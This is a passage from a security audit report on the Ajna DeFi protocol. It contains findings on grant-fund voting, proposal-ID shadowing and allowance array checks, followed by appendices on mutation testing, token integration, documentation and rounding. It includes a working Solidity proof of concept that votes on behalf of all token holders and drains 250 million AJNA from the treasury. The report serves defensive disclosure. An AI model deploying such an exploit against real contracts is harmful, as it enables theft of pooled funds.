"../src/grants/interfaces/IExtraordinaryFunding.sol" ; import { IAjnaToken } from
"./utils/IAjnaToken.sol" ; contract DrainGrantFund { constructor ( address ajnaToken ,
IExtraordinaryFunding grantFund, address [] memory tokenHolders // list of token holders that have
voting power ) { // generate proposal targets address [] memory targets = new address []( 1 );
targets[ 0 ] = ajnaToken; // generate proposal values uint256 [] memory values = new uint256 []( 1
); values[ 0 ] = 0 ; // generate proposal calldata, attacker wants to transfer 200 million Ajna to
herself bytes [] memory calldatas = new bytes []( 1 ); calldatas[ 0 ] = abi.encodeWithSignature(
"transfer(address,uint256)" , msg.sender , // transfer ajna to this contract's deployer 250_000_000
* 1e18 ); uint endBlock = block.number + 100_000; string memory description = "Extraordinary
Proposal by attacker" ; // attacker creates and submits her proposal uint256 proposalId =
grantFund.proposeExtraordinary(endBlock, targets, values, calldatas, description); // attacker is
going to make every token holder vote in favor of her proposal for ( uint i = 0 ; i <
tokenHolders.length; i++) { HashEye 28 Ajna Protocol Security Assessment PUBLIC
```

```
grantFund.voteExtraordinary(tokenHolders[i], proposalId); } // execute the proposal, transferring
the ajna to the attacker (this contract's deployer) grantFund.executeExtraordinary(targets, values,
calldatas, keccak256 ( bytes (description))); } } Figure 6.2: A proof of concept of an attacker
contract that creates a proposal and immediately gathers enough votes to make it pass and steal
AJNA tokens from the treasury Recommendations Short term, replace the account argument in the
voteExtraordinary function with msg.sender . Long term, develop a list of invariants for the grant
fund system contracts and implement invariant testing to test that they hold. HashEye 29 Ajna
Protocol Security Assessment PUBLIC
```

7. findMechanismOfProposal could shadow an extraordinary proposal Severity: Low Difficulty: Medium Type: Undefined Behavior Finding ID: TOB-AJNA-7 Target: ecosystem-coordination/src/grants/GrantFund.sol Description The findMechanismOfProposal function will shadow an existing extraordinary proposal if a standard proposal with the same proposal ID exists. That is, the function will report that a given proposal ID corresponds to a standard proposal, even though an extraordinary proposal with the same ID exists. function findMechanismOfProposal (uint256 proposalId_) public view returns (FundingMechanism) { if

```
(_standardFundingProposals[proposalId_].proposalId ≠ 0 ) return FundingMechanism.Standard; else if
(_extraordinaryFundingProposals[proposalId_].proposalId ≠ 0 ) return
FundingMechanism.Extraordinary; else revert ProposalNotFound(); } Figure 7.1: The
```

findMechanismOfProposal() function in GrantFund.sol#L36-L42 Proposal IDs for both types of proposals are generated by hashing the proposal arguments, which are the same for both proposals. function _hashProposal (address [] memory targets_, uint256 [] memory values_, bytes [] memory calldatas_, bytes32 descriptionHash_) internal pure returns (uint256 proposalId_) { proposalId_ = uint256 (keccak256 (abi.encode(targets_, values_, calldatas_, descriptionHash_))); } Figure 7.2: The _hashProposal() function in Funding.sol#L154-L161 The findMechanismOfProposal function is also called from the state function, which reports the state of a given proposal by ID. function state (

```
HashEye 30 Ajna Protocol Security Assessment PUBLIC
```

```
uint256 proposalId_) external view override returns (ProposalState) { FundingMechanism mechanism =
findMechanismOfProposal(proposalId_); return mechanism == FundingMechanism.Standard ?
_standardProposalState(proposalId_) : _getExtraordinaryProposalState(proposalId_); } Figure 7.3:
The state() function in GrantFund.sol#L45-L51 Depending on how the state view function is used, its
use of the flawed findMechanismOfProposal function could cause problems in the front end or other
smart contracts that integrate with the GrantFund contract. Exploit Scenario Alice creates an
extraordinary proposal to request 10 million AJNA tokens to pay for something important. Mallory
does not like the proposal and creates a standard proposal with the same arguments. The front end,
which calls state() to view the state of any type of proposal, now returns the state of Mallory's
standard proposal instead of Alice's extraordinary proposal. Recommendations Short term, redesign
the findMechanismOfProposal function so that it does not shadow any proposal. For example, have the
function return an array of two items that will indicate whether a standard and extraordinary
proposal with that proposal ID exists. Long term, consider all of the information that the front
end and other integrating smart contracts might require to function correctly, and design the
corresponding view functions in the smart contracts to fulfill those requirements. HashEye 31 Ajna
Protocol Security Assessment PUBLIC
```

8. Missing checks of array lengths in LP allowance update functions Severity: Low Difficulty: Medium Type: Data Validation Finding ID: TOB-AJNA-8 Target: contracts/src/base/Pool.sol Description The increaseLPAllowance and decreaseLPAllowance functions both accept array arguments, indexes_ and amounts_ . function increaseLPAllowance (address spender_ , uint256 [] calldata indexes_ , uint256 [] calldata amounts_) external override nonReentrant { mapping (uint256 => uint256) storage allowances = _lpAllowances[msg.sender][spender_]; uint256 indexesLength = indexes_.length; uint256 index ; for (uint256 i = 0 ; i < indexesLength;) { index = indexes_[i]; allowances[index] += amounts_[i]; unchecked { ++i; } } Figure 8.1: The increaseLPAllowance() function in Pool.sol#L36-L42 There is no check to ensure the array arguments are equal in length. This means that the functions would accept two arrays of different lengths. If the amounts_ array is longer than indexes_ , the extra amounts_ values will be ignored silently. Exploit Scenario Alice wants to reduce allowances to Eve for various buckets, including a large bucket she is particularly concerned about. Alice inadvertently omits the large bucket index from indexes_ but does include the amount in her call to decreaseLPAllowance() . The transaction completes successfully but does not impact the allowance for the large bucket. Eve drains the large bucket. Recommendations Short term, add a check to both increaseLPAllowance and decreaseLPAllowance to ensure that the lengths of amounts_ and indexes_ are the same. HashEye 32 Ajna Protocol Security Assessment PUBLIC

Long term, carefully consider the mistakes that could be made by users to help design data validation strategies for external functions. HashEye 33 Ajna Protocol Security Assessment PUBLIC

A. Vulnerability Categories The following tables describe the vulnerability categories, severity levels, and difficulty levels used in this document. Vulnerability Categories Category Description Access Controls Insufficient authorization or assessment of rights Auditing and Logging Insufficient auditing of actions or logging of problems Authentication Improper identification of users Configuration Misconfigured servers, devices, or software components Cryptography A breach of system confidentiality or integrity Data Exposure Exposure of sensitive information Data Validation Improper reliance on the structure or values of data Denial of Service A system failure with an availability impact Error Reporting Insecure or insufficient reporting of error conditions Patching Use of an outdated software package or library Session Management Improper identification of authenticated users Testing Insufficient test methodology or test coverage Timing Race conditions or other order-of-operations flaws Undefined Behavior Undefined behavior triggered within the system HashEye 34 Ajna Protocol Security Assessment PUBLIC

Severity Levels Severity Description Informational The issue does not pose an immediate risk but is relevant to security best practices. Undetermined The extent of the risk was not determined during this engagement. Low The risk is small or is not one the client has indicated is important. Medium User information is at risk; exploitation could pose reputational, legal, or moderate financial risks. High The flaw could affect numerous users and have serious reputational, legal, or financial implications. Difficulty Levels Difficulty Description Undetermined The difficulty of exploitation was not determined during this engagement. Low The flaw is well known; public tools for its exploitation exist or can be scripted. Medium An attacker must write an exploit or will need in-depth knowledge of the system. High An attacker must have privileged access to the system, may need to know complex technical details, or must discover other weaknesses to exploit this issue. HashEye 35 Ajna Protocol Security Assessment PUBLIC

B. Code Maturity Categories The following tables describe the code maturity categories and rating criteria used in this document. Code Maturity Categories Category Description Arithmetic The proper use of mathematical operations and semantics Auditing The use of event auditing and logging to support monitoring Authentication / Access Controls The use of robust access controls to handle

identification and authorization and to ensure safe interactions with the system Complexity Management The presence of clear structures designed to manage system complexity, including the separation of system logic into clearly defined functions Cryptography and Key Management The safe use of cryptographic primitives and functions, along with the presence of robust mechanisms for key generation and distribution Decentralization The presence of a decentralized governance structure for mitigating insider threats and managing risks posed by contract upgrades Documentation The presence of comprehensive and readable codebase documentation Front-Running Resistance The system's resistance to front-running attacks Low-Level Manipulation The justified use of inline assembly and low-level calls Testing and Verification The presence of robust testing procedures (e.g., unit tests, integration tests, and verification methods) and sufficient test coverage Rating Criteria Rating Description Strong No issues were found, and the system exceeds industry standards. Satisfactory Minor issues were found, but the system is compliant with best practices. Moderate Some issues that may affect system safety were found. HashEye 36 Ajna Protocol Security Assessment PUBLIC

Weak Many issues that affect system safety were found. Missing A required component is missing, significantly affecting system safety. Not Applicable The category is not applicable to this review. Not Considered The category was not considered in this review. Further Investigation Required Further investigation is required to reach a meaningful conclusion. HashEye 37 Ajna Protocol Security Assessment PUBLIC

C. Code Quality Recommendations The following recommendations are not associated with specific vulnerabilities. However, they enhance code readability and may prevent the introduction of vulnerabilities in the future. Recommendations

- Use constants. The compiler replaces constant variables with the underlying value at compile time, incurring no gas penalties and making the code more readable. Consider the following opportunities to use constants in the codebase:
 - The constant variable WAD is declared but not used in Maths.sol .
 - The state variable UPDATE_CLAIM_REWARD in RewardsManager.sol#L59 can be made a constant.
- Distinguish index variables. Fenwick indices (uint) and bucket indices (int) are often assigned to variables named index , making it difficult for readers to keep track of which types of indices are used and where. The code would be more approachable for new readers if Fenwick indices were assigned to a variable named fenwickIndex , for example.
- Use consistent variable and function naming conventions.
 - The term "LP" is used in some function names, but "Lp" is used in others. See, for example, approveLpTransferors in Pool.sol#L248 and decreaseLPAllowance in Pool.sol#L168 .
 - The word "token" is appended to the end of function names related to quote tokens but not to the end of function names related to collateral. See, for example, addQuoteToken in Pool.sol#L138 and addCollateral in Pool.sol#L267 .
- Use defined helper functions instead of duplicating code.
 - The code in Lender.sol#L185-191 could be replaced with a call to the Buckets.addLenderLPs method.
- Ensure that comments in code always reflect the code's intended behavior. For example, the following comments should be corrected:
 - The Manager._assertCallerIsLocalOwner() function's comment is incorrect. HashEye 38 Ajna Protocol Security Assessment PUBLIC

- The comment on Deposits.sol#L195 indicates that the code is "Case 1 above", but it is actually case 2.
- The section header in Pool.sol#L702 indicates that the section contains External Functions but it more precisely contains External View Functions .
- In IPositionManagerOwnerActions.sol#L24 and L54 , the references to setPositionOwner are incorrect.
- In Contracts/README.MD#L8 , remove references to cryptopunks and crypto kitties.
- In BorrowerActions#L292 , the comment should read, revert if no amount to pull or repay .
- The comment in Auctions.sol#L1269 should be removed, as totalBondEscrowed is updated in the Pool contract's withdrawBonds function.
- In Buckets.sol#L68 , this comment is incorrect: Increments bucket.collateral and bucket.lps accumulator state.
- Use structs for params consistently.
 - In LenderActions.sol#144-149 , the addQuoteToken function uses the AddQuoteParams struct but there is no corresponding params struct for addCollateral .
- Define events once.
 - The codebase contains multiple events that are defined twice. This adds to maintenance overhead and could lead to divergences between the two versions of the events. Consider defining events in one location and importing them wherever they are needed. The following events are defined in the file in which they are emitted and again in IPoolEvents.sol with a note indicating "See IPoolEvents for descriptions": AddQuoteToken , AuctionSettle , AuctionsNFTSettle , BucketBankruptcy , BucketTake , BucketTakeLPAwarded , Settle , Kick , MoveQuoteToken , ReserveAuction , Take , TransferLPs , and UpdateInterestRate .
- Implement one-time checks outside of loops.
 - In Funding.sol#L117 , the check for an invalid proposal can be moved outside of the loop. HashEye 39 Ajna Protocol Security Assessment PUBLIC

- Perform zero address checks in the constructor.
 - In the constructor in RewardsManager.sol#L89 , the ajnaToken_ argument is not checked against the zero address. HashEye 40 Ajna Protocol Security Assessment PUBLIC

D. Mutation Testing The goal of mutation testing is to gain insight into a codebase's test coverage. Mutation tests go line-by-line through the target file, mutate the given line in some way, run tests, and flag changes that do not trigger test failures. Depending on the complexity of the logic in any given line and the tool used to mutate, mutation tests could test upwards of 50 mutants per line of source code. Mutation testing is a slow process, but by highlighting areas of the code with incomplete test coverage, it allows auditors to focus their manual review on the parts of the code that are most likely to contain latent bugs. In this section, we provide information on available mutation testing tools that could be used in the Ajna codebase, and we describe the mutation testing campaign that we conducted during this audit. The following are available mutation testing tools:

- **Vertigo** : This tool was developed by security researchers at Consensys Diligence. Integration with Foundry is planned, but the current progress on that work is unclear. Known scalability issues are present in the tool.
- **Gambit** : This tool generates stochastic mutants by modifying the Solidity AST. It is optimized for integration with the Certora prover.
- **Necessist** : This tool was developed in-house by HashEye. It operates on tests rather than source code, although it has a similar end goal. Necessist could provide a nice complement to source-focused mutation testing. Due to the timeboxed nature of this review, we deprioritized the use of Necessist to conduct an additional mutation testing campaign.
- **Universalmutator** : This tool generates deterministic mutants from regular expressions; it supports many source code languages, including Solidity and Vyper. See the 2018 ICSE paper on the tool and this guest blog post about the tool on the HashEye blog for more information. We used universalmutator to conduct a mutation testing campaign during this engagement because the mutants it generates are deterministic and because it is a relatively mature tool with few known issues. This tool can be installed with the following command: `pip install universalmutator`

Figure D.1: The command used to install universalmutator Once installed, a mutation campaign can be run against all Solidity source files using the following bash script: HashEye 41 Ajna Protocol Security Assessment PUBLIC

```
1 find src \ 2 -name '*.sol' \ 3 -print0 | while IFS = read -r -d '' file 4 do 5 name = " $(
basename " $file " .sol ) " 6 dir = "mutants/ $name " 7 mkdir -p " $dir " 8 echo "Mutating $file "
9 mutate " $file " \ 10 --cmd "timeout 180s make test" \ 11 --mutantDir " $dir " \ 12 > "mutants/
$name .log" 13 done
```

Figure D.2: A bash script that runs a mutation testing campaign against each Solidity file in the src directory Consider the following notes about the above bash script:

- The overall runtime of the above script against all non-interface Solidity files in the target contracts repository is approximately two weeks on a modern M1 Mac.
- The `--cmd` argument on line 10 specifies the command to run for each mutant. This command is prefixed by `timeout 180s` (`timeout` is a tool included in the `coreutils` package on macOS) because a healthy run of the test suite was determined to take approximately 90 seconds. A timeout of twice as much time is used only to cut off test runs that are badly stalled.
- Some false positives could be removed by running the complete test suite by replacing `make test` with `forge test` at the end of the `--cmd` argument on line 10. Doing so would increase the runtime, however. The results of each target's mutation tests are saved in a file, per line 12 of the script in figure D.2. An illustrative example of such output is shown in figure D.3.

```
*** UNIVERSALMUTATOR *** MUTATING WITH RULES: universal.rules, solidity.rules,
c_like.rules SKIPPED 8 MUTANTS ONLY CHANGING STRING LITERALS 888 MUTANTS GENERATED BY RULES ...
PROCESSING MUTANT: 58: return x ≥ y ? x : y; ⇒ return x ≠ y ? x : y;...INVALID PROCESSING
MUTANT: 58: return x ≥ y ? x : y; ⇒ return x = y ? x : y;...VALID [written to
mutants/Maths/Maths.mutant.17.sol] PROCESSING MUTANT: 58: return x ≥ y ? x : y; ⇒ return x < y ?
x : y;...INVALID ... 21 VALID MUTANTS 822 INVALID MUTANTS 0 REDUNDANT MUTANTS Valid Percentage:
2.491103202846975% HashEye 42 Ajna Protocol Security Assessment PUBLIC
```

Figure D.3: Abbreviated output from the mutation testing campaign on Maths.sol The output of universalmutator starts with the number of mutants generated and ends with a summary of how many of these mutants are valid. A small percentage of valid mutants indicates thorough test coverage. The snippet in the middle of the output is focused on mutations made to line 58 of the Maths source code. This line, including surrounding context, is shown in figure D.4. 57 function maxInt (int256 x , int256 y) internal pure returns (int256) { 58 return x ≥ y ? x : y; 59 }

Figure D.4: Source code targeted by the snippet of mutation test output in figure D.3 The mutation test output indicates that, if we replace the `≥` operator with `≠` or `>` on line 58, then some tests fail. This is expected and indicates that the test suite is well designed to detect such logic bugs. On the other hand, if we replace the `≥` operator with `=`, then all tests still pass. This change meaningfully breaks this method's behavior, so we would expect this mutant to be invalid given thorough test coverage. Indeed, if we check `MathTest.t.sol`, we do not find any tests for the `maxInt` method. As an auditor, this is a cue to take an extra close look at the implementation of this method and at its use throughout the rest of the codebase. HashEye 43 Ajna Protocol Security Assessment PUBLIC

E. Testing Foundry Invariants Using Echidna Echidna is an open-source property-based fuzzer developed by HashEye. This section describes how we used Echidna to test the existing Foundry

regularly. Create a template to be filled out with descriptions of any necessary improvements after each dry run. HashEye 47 Ajna Protocol Security Assessment PUBLIC

6. Risks with User-Created Token Pools The Ajna protocol aims to allow third-party users to create their own token pools. These user-created pools could introduce problems that could allow attackers to steal funds. We recommend that users review the tokens to ensure that pools do not behave unexpectedly. Ensure that users follow these guidelines when creating pools:

- Tokens should never be upgradeable. Upgradeable tokens have inherent risks that may not be apparent with different versions.
- Tokens should not have a self-destruct capability. Destructible tokens have inherent risks, including malicious upgrades through `create2`.
- Tokens should not be interest bearing or re-adjusting. Certain accounting invariants rely on assumptions about unchanging token balances and transfer amounts without fees.

HashEye 48 Ajna Protocol Security Assessment PUBLIC

H. Token Integration Checklist The following checklist provides recommendations for interactions with arbitrary tokens. Every unchecked item should be justified, and its associated risks, understood. For an up-to-date version of the checklist, see `cryptic/building-secure-contracts`. For convenience, all Slither utilities can be run directly on a token address, such as the following:

```
slither-check-erc 0xdac17f958d2ee523a2206206994597c13d831ec7 TetherToken --erc erc20 slither-check-erc 0x06012c8cf97BEaD5deAe237070F9587f8E7A266d KittyCore --erc erc721
```

To follow this checklist, use the below output from Slither for the token: `slither-check-erc [target] [contractName] [optional: --erc ERC_NUMBER] slither [target] --print human-summary slither [target] --print contract-summary slither-prop . --contract ContractName` # requires configuration, and use of Echidna and Manticore

General Considerations

- ☐ The contract has a security review. Avoid interacting with contracts that lack a security review. Check the length of the assessment (i.e., the level of effort), the reputation of the security firm, and the number and severity of the findings.
- ☐ You have contacted the developers. You may need to alert their team to an incident. Look for appropriate contacts on `blockchain-security-contacts`.
- ☐ They have a security mailing list for critical announcements. Their team should advise users (like you!) when critical issues are found or when upgrades occur.

Contract Composition

- ☐ The contract avoids unnecessary complexity. The token should be a simple contract; a token with complex code requires a higher standard of review. Use Slither's human-summary printer to identify complex code.
- ☐ The contract uses SafeMath. Contracts that do not use SafeMath require a higher standard of review. Inspect the contract by hand for SafeMath usage.
- ☐ The contract has only a few non-token-related functions. Non-token-related functions increase the likelihood of an issue in the contract. Use Slither's contract-summary printer to broadly review the code used in the contract.

HashEye 49 Ajna Protocol Security Assessment PUBLIC

- ☐ The token has only one address. Tokens with multiple entry points for balance updates can break internal bookkeeping based on the address (e.g., `balances[token_address][msg.sender]` may not reflect the actual balance).
- Owner Privileges
- ☐ The token is not upgradeable. Upgradeable contracts may change their rules over time. Use Slither's human-summary printer to determine whether the contract is upgradeable.
- ☐ The owner has limited minting capabilities. Malicious or compromised owners can abuse minting capabilities. Use Slither's human-summary printer to review minting capabilities, and consider manually reviewing the code.
- ☐ The token is not pausable. Malicious or compromised owners can trap contracts relying on pausable tokens. Identify pausable code by hand.
- ☐ The owner cannot blacklist the contract. Malicious or compromised owners can trap contracts relying on tokens with a blacklist. Identify blacklisting features by hand.
- ☐ The team behind the token is known and can be held responsible for abuse. Contracts with anonymous development teams or teams that reside in legal shelters require a higher standard of review.

ERC20 Tokens

ERC20 Conformity Checks Slither includes a utility, `slither-check-erc`, that reviews the conformance of a token to many related ERC standards. Use `slither-check-erc` to review the following:

- ☐ `Transfer` and `transferFrom` return a boolean. Several tokens do not return a boolean on these functions. As a result, their calls in the contract might fail.
- ☐ The `name`, `decimals`, and `symbol` functions are present if used. These functions are optional in the ERC20 standard and may not be present.
- ☐ `Decimals` returns a `uint8`. Several tokens incorrectly return a `uint256`. In such cases, ensure that the value returned is below 255.
- ☐ The token mitigates the known ERC20 race condition. The ERC20 standard has a known ERC20 race condition that must be mitigated to prevent attackers from stealing tokens. Slither includes a utility, `slither-prop`, that generates unit tests and security properties that can discover many common ERC flaws. Use `slither-prop` to review the following:

HashEye 50 Ajna Protocol Security Assessment PUBLIC

- ☐ The contract passes all unit tests and security properties from `slither-prop`. Run the generated unit tests and then check the properties with Echidna and Manticore.

Risks of ERC20 Extensions The behavior of certain contracts may differ from the original ERC specification. Conduct a manual review of the following conditions:

- ☐ The token is not an ERC777 token and has no external function

call in `transfer` or `transferFrom`. External calls in the transfer functions can lead to reentrancies. `Transfer` and `transferFrom` should not take a fee. Deflationary tokens can lead to unexpected behavior. Potential interest earned from the token is taken into account. Some tokens distribute interest to token holders. This interest may be trapped in the contract if not taken into account. Token Scarcity Reviews of token scarcity issues must be executed manually. Check for the following conditions: The supply is owned by more than a few users. If a few users own most of the tokens, they can influence operations based on the tokens' repartition. The total supply is sufficient. Tokens with a low total supply can be easily manipulated. The tokens are located in more than a few exchanges. If all the tokens are in one exchange, a compromise of the exchange could compromise the contract relying on the token. Users understand the risks associated with a large amount of funds or flash loans. Contracts relying on the token balance must account for attackers with a large amount of funds or attacks executed through flash loans. The token does not allow flash minting. Flash minting can lead to substantial swings in the balance and the total supply, which necessitate strict and comprehensive overflow checks in the operation of the token. HashEye 51 Ajna Protocol Security Assessment PUBLIC

ERC721 Tokens ERC721 Conformity Checks The behavior of certain contracts may differ from the original ERC specification. Conduct a manual review of the following conditions: Transfers of tokens to the `0x0` address revert. Several tokens allow transfers to `0x0` and consider tokens transferred to that address to have been burned; however, the ERC721 standard requires that such transfers revert. `safeTransferFrom` functions are implemented with the correct signature. Several token contracts do not implement these functions. A transfer of NFTs to one of those contracts can result in a loss of assets. The `name`, `decimals`, and `symbol` functions are present if used. These functions are optional in the ERC721 standard and may not be present. If it is used, the `decimals` function returns a `uint8(0)`. Other values are invalid. The `name` and `symbol` functions can return an empty string. This behavior is allowed by the standard. The `ownerOf` function reverts if the `tokenId` is invalid or is set to a token that has already been burned. The function cannot return `0x0`. This behavior is required by the standard, but it is not always properly implemented. A transfer of an NFT clears its approvals. This is required by the standard. The token ID of an NFT cannot be changed during its lifetime. This is required by the standard. Common Risks of the ERC721 Standard To mitigate the risks associated with ERC721 contracts, conduct a manual review of the following conditions: The `onERC721Received` callback is taken into account. External calls in the transfer functions can lead to reentrancies, especially when the callback is not explicit (e.g., in `safeMint` calls). HashEye 52 Ajna Protocol Security Assessment PUBLIC

When an NFT is minted, it is safely transferred to a smart contract. If there is a minting function, it should behave similarly to `safeTransferFrom` and properly handle the minting of new tokens to a smart contract. This will prevent a loss of assets. The burning of a token clears its approvals. If there is a burning function, it should clear the token's previous approvals. HashEye 53 Ajna Protocol Security Assessment PUBLIC

I. Documentation Improvement Recommendations This appendix provides an overview of the current documentation for the Ajna protocol and suggests improvements to enhance its usability, readability, and comprehension. The Ajna protocol is a novel lending protocol that introduces several financial concepts new to the DeFi ecosystem. Comprehensive and engaging learning material will help users interact with the system in an informed way and will help future auditors quickly understand the system's business logic. Currently, there is a white paper, a master specification, an "ELI5" explanatory document, and a video walkthrough of the master specification. Additionally, the code is generally well commented. Despite the presence of extensive documentation, there is room for improvement to cater to a broader audience and to make the information more accessible. Summary of Proposed Changes To enhance the Ajna protocol documentation, we propose the following improvements:

- Create a wiki website to house all of the Ajna documentation for easier navigation.
- Consider using an AI chatbot to provide real-time support and enhance user engagement.
- Add in-depth examples of various user stories to the documentation.
- Produce shorter videos focused on specific concepts.
- Incorporate diagrams and visualizations into the documentation to explain mathematical concepts and user stories.
- Add a frequently asked questions (FAQ) section to address common queries.
- Consider automating the generation of the codebase's NatSpec documentation.

The following subsections describe these recommendations in more detail. Wiki Website Housing the Ajna protocol documentation on a wiki website will significantly improve the user experience by providing a more accessible and searchable platform. The wiki could include some of the proposed documentation improvements described below in addition to the existing documentation, such as the white paper, master specification, and glossary of terms. The wiki format would allow the Ajna team to better organize the content, making it easier for users to find specific topics, navigate through different sections, and jump HashEye 54 Ajna Protocol Security Assessment PUBLIC

related articles. For examples of similar wiki websites, refer to the Aave and MakerDAO developer documentation. AI-Powered Chatbot Integrating an AI-powered chatbot, such as one based on GPT, into the Ajna protocol's documentation platform could enhance user support and engagement. Such a chatbot could be designed to answer user questions about the protocol, guide users through the documentation, and provide real-time assistance. By leveraging natural language processing and machine learning capabilities, the chatbot could understand user queries and offer relevant, accurate responses. This addition to the documentation would not only streamline user support but also provide a more interactive and personalized experience for users seeking information about the Ajna protocol. These technologies are not yet fully mature, so we recommend exploring their use cautiously and with the proper warnings; these models can generate partial or false information. However, as they are progressing at a fast pace, we recommend exploring their possibilities. User Stories Providing in-depth user stories, or workflow examples, for the Ajna protocol will help users gain a better understanding of its various features and functionalities. These examples could walk users through various pool types and scenarios, showcasing how the protocol works in real-world situations, and could explain how key state variables are changed when certain actions are completed. We recommend creating workflows for the following categories: Lending and Borrowing This example would demonstrate how lenders and borrowers interact with the protocol and would describe the effects of these operations on various key variables, such as the lowest utilized price (LUP), HTP, interest rate, and inflator variables. Separate examples could be created for each pool type: ERC-20, ERC-721, and ERC-721 subsets. The following is an example of the type of information that could be included in this workflow: 1. Lenders deposit quote tokens. 2. Borrowers post collateral and draw debt. 3. Lenders move and remove liquidity. 4. Borrowers repay loans. HashEye 55 Ajna Protocol Security Assessment PUBLIC

NFT Staking and Claiming Rewards This example would explain the process of using LP tokens to mint a position NFT, of staking, and of earning rewards. In addition to explaining the changes to users' earned reward balances when these operations are executed, the workflow example could explain related concepts such as approvedTransferors . The following is an example of the type of information that could be included in this workflow: 1. A lender mints an NFT and memorializes her positions. 2. The lender stakes the NFT and earns rewards. 3. The lender claims her rewards. 4. The lender adjusts her liquidity while her NFT is staked. 5. The lender unstakes her NFT, redeems her positions, and burns the NFT. Liquidation This example would explain the ways in which loans become unhealthy, the various ways kickers can start auctions, and the auction settlement procedure, including an explanation of how a liquidation could cause a bucket to go bankrupt. AJNA Token and Voting Process This example would outline the role the AJNA token plays in the Ajna protocol governance process and would detail how users can participate in voting on proposals that affect the protocol's development and direction. Pool Deployment This example would explain how each type of pool is deployed and the various state variables that are updated as part of the process. Shorter, Focused Videos Producing a series of shorter, focused videos will make the Ajna protocol's documentation more engaging and easier to digest. These videos should present specific concepts or workflows, allowing users to quickly grasp a particular topic without having to watch an extensive walkthrough. By breaking down complex topics into smaller, focused segments, the videos can cater to users with different levels of experience and familiarity with the protocol. These videos can also serve as supplementary material to the written documentation, supporting various learning styles and preferences. Visualizations and Diagrams Incorporating visualizations and diagrams into the documentation will significantly enhance the user's understanding of the Ajna protocol's workflows and mathematical concepts. HashEye 56 Ajna Protocol Security Assessment PUBLIC

Visual representations can help users grasp complex ideas more quickly and intuitively, facilitating a deeper comprehension of the protocol's inner workings. Mathematical Diagrams Diagrams that explain the mathematical concepts and formulas used in the Ajna protocol will help users better understand the underlying mechanisms driving the protocol's functions. These diagrams could be similar to the diagrams included in the white paper but with additional explanations and, in some cases, full equation derivations. User Stories Diagrams that visually represent the step-by-step processes involved in various aspects of the Ajna protocol, such as lending, borrowing, staking, and claiming rewards, will make it easier for users to visualize sequences of actions and their effects on the protocol's state variables. Figure I.1 shows an example of a visualization that demonstrates how various key metrics change based on deposit and debt levels. HashEye 57 Ajna Protocol Security Assessment PUBLIC

Figure I.1: An example of a visualization showing the changes in LUP and HTP based on deposit and debt level changes in the pool FAQ Section A FAQ section in the documentation could address common concerns and issues encountered by users when interacting with the Ajna protocol. The FAQ section could compile a list of typical user questions and their corresponding answers, allowing users to quickly find solutions to their queries without requiring additional support. This section would not only improve the user experience by reducing the time and effort spent searching for answers,

but would also help the Ajna team identify areas in the documentation that may need further clarification or improvement. Automated NatSpec Documentation Aside from minor issues noted in the Code Quality Recommendations section, the current NatSpec comments are generally comprehensive and accurate. To improve their quality and maintainability, consider using slither-documentation to auto-generate the codebase's NatSpec comments. This will reduce the likelihood of errors in the comments and ease their maintenance. Consider automating the process further by integrating slither-docs-action into the CI/CD pipeline, which will automatically generate documentation for each pull request, ensuring consistency and up-to-date documentation throughout the development of the protocol. Although the documentation generated still requires a manual review—and potentially manual edits—it can significantly reduce the resources needed to enforce code documentation. HashEye 58 Ajna Protocol Security Assessment PUBLIC

J. Rounding Guidance Background Ajna Labs employs fixed-point arithmetic, which can lead to rounding errors during both multiplication and division operations. The fixed-point base used in the protocol is $1e18$, and the rounding process is managed by the Maths library. To account for rounding during fixed-point multiplication, $0.5e18$ is added to the product immediately prior to division operations, which restores the fixed-point precision and internally truncates the result. This method effectively rounds any remainders greater than 0.5 to 1 and those less than 0.5 to 0. Despite adhering to the principle of least surprise, this approach inevitably results in some imprecision that must be managed. A crucial invariant (V1) for the scaling Fenwick tree is that when the value at index i is removed from itself, the result should be exactly zero. In order to maintain this invariant, even though it involves a series of multiplication operations that could lose precision, the same series of operations is executed in the same order to calculate the amount to decrement the value at index i . The consistent and deterministic rounding strategy ensures that this approach successfully zeroes out a value in the system. The Problem Another invariant (V2) states that the prefix sum of values up to index j must be less than or equal to the prefix sum of values up to index $j+1$. This invariant can break due to rounding errors that could occur during the application of the scaling factor. If the value at index $j+1$ is zero, and if the scaling factor is rounded up when the value at j is calculated but rounded down when the value at $j+1$ is calculated, then the invariant breaks. Because the scaling factor is used to scale up an unscaled value, this off-by-one error can be magnified to the point that it is non-negligible, although still small. The method affected by the above invariant failure is `prefixSum`, which is used by the PoolCommons contract to accrue interest and to determine the number of meaningful deposits used in the interest rate. These particular operations are robust against imprecision, and we identified no security issues resulting from such rounding errors. Proposed Mitigation It is unlikely that invariant V2 could be fixed without major restructuring of the logic in the Deposits library. The underlying precision loss is unavoidable, and its distribution throughout the arithmetic is non-trivial. If such restructuring is planned, we recommend adding dedicated fuzz tests for the obliterate functionality to ensure that invariant V1 remains solid. However, it is not clear whether the rounding logic could be restructured in a way that allows invariants V1 and V2 to both precisely hold. HashEye 59 Ajna Protocol Security Assessment PUBLIC

This is a specific case of a more general problem: how should we handle quantitative invariants that are subject to non-trivial rounding errors? In general, there are some situations in which precision loss is unacceptable, such as while calculating the exchange rate between LP tokens and underlying collateral; the presence of dust could result in an extreme exchange rate that could result in the loss of funds. In the case of invariant V2, however, only interest accrual is affected by rounding errors, and the protocol's solvency will not be put at risk if slightly more or less interest is accrued to lenders. In cases such as invariant V2, it can be acceptable to bound the loss of precision and relax the invariant in a controlled way. For example, given 2¹³ buckets, calculating the scaling factor for a specific index will require at most 12 fixed-point multiplication operations. If we assume the worst-case—all of these operations round their results up for the prefix sum at index j and round them down for the prefix sum at index $j+1$ —then the scalar would diverge by at most 12. While running fuzz tests, we can use this error range along with the underlying scaled values to determine the maximum error that could be present and then use this maximum error to determine whether the fuzz test run succeeds or fails. HashEye 60 Ajna Protocol Security Assessment PUBLIC

K. Security Best Practices for the Use of a Multisignature Wallet Consensus requirements for sensitive actions such as spending the funds in a wallet are meant to mitigate the risks of the following cases:

- One person's judgment overrules the others'.
- One person's mistake causes a failure.
- One person's credentials are compromised, causing a failure.

In a 2-of-3 multisignature Ethereum wallet, for example, the execution of a "spend" transaction requires the consensus of two individuals in possession of two of the wallet's three private keys. For this model to be useful, it must fulfill the following requirements:

1. The private keys must be stored or held separately, and access to each one must be limited to a different individual.
2. If the keys are physically

